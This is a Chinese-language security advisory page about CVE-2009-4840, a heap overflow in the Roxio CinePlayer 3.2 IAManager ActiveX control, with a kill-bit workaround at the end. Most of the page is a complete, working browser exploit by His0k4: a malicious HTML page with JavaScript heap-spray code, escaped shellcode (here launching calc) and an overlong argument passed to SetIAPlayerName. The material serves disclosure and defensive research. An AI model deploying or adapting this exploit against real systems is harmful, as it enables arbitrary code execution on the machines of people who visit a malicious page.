安全研究
安全漏洞
Roxio CinePlayer IAManager ActiveX控件堆溢出漏洞
发布日期:2009-06-01
更新日期:2010-05-07
受影响系统:
Roxio CinePlayer 3.2描述:
CVE(CAN) ID: CVE-2009-4840
CinePlayer是一款播放高质量视频的播放器。
CinePlayer所安装的IAManager ActiveX控件(IAManager.dll)没有正确地过滤用户提交给SetIAPlayerName方式的输入参数,用户受骗访问了恶意网页并向该方式传送了超长输入参数便可以触发堆溢出,导致执行任意代码。
<*来源:His0k4
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<head>
<title>Boom!</title>
<br>Roxio CinePlayer 3.2 (IAManager.dll) Remote BOF Exploit (heap spray)</br>
<br>Advisory from secunia 22251</br>
<br>By : His0k4</br>
<br>Greetings: All friends (dz), snakespc.com</br>
<br>Tested on Windows Xp Sp3 (en),with IE7</br>
<object classid='clsid:EE1BBA18-F0C8-477E-8AC8-C28B94F1B7DC' id='test'></object>
<script language='javascript'>
//calc
shellcode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
"%u652E%u6578%u9000");
nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;
while( nops.length< slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);
while( block.length+ slackspace<262000) block= block+ block+ fillblock;
memory=new Array();
for( counter=0; counter<500; counter++) memory[ counter]= block+ shellcode;
buffer='A';
for( counter=0; counter<=200; counter++) buffer+=unescape('%0c%0c%0c%0c');
test.SetIAPlayerName(buffer);
</script>
</head>
</html>
建议:
临时解决方法:
* 为clsid EE1BBA18-F0C8-477E-8AC8-C28B94F1B7DC设置kill bit。
厂商补丁:
Roxio
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.roxio.com/enu/products/cineplayer/standard/overview.html
浏览次数:2918
严重程度:0(网友投票)
绿盟科技给您安全的保障
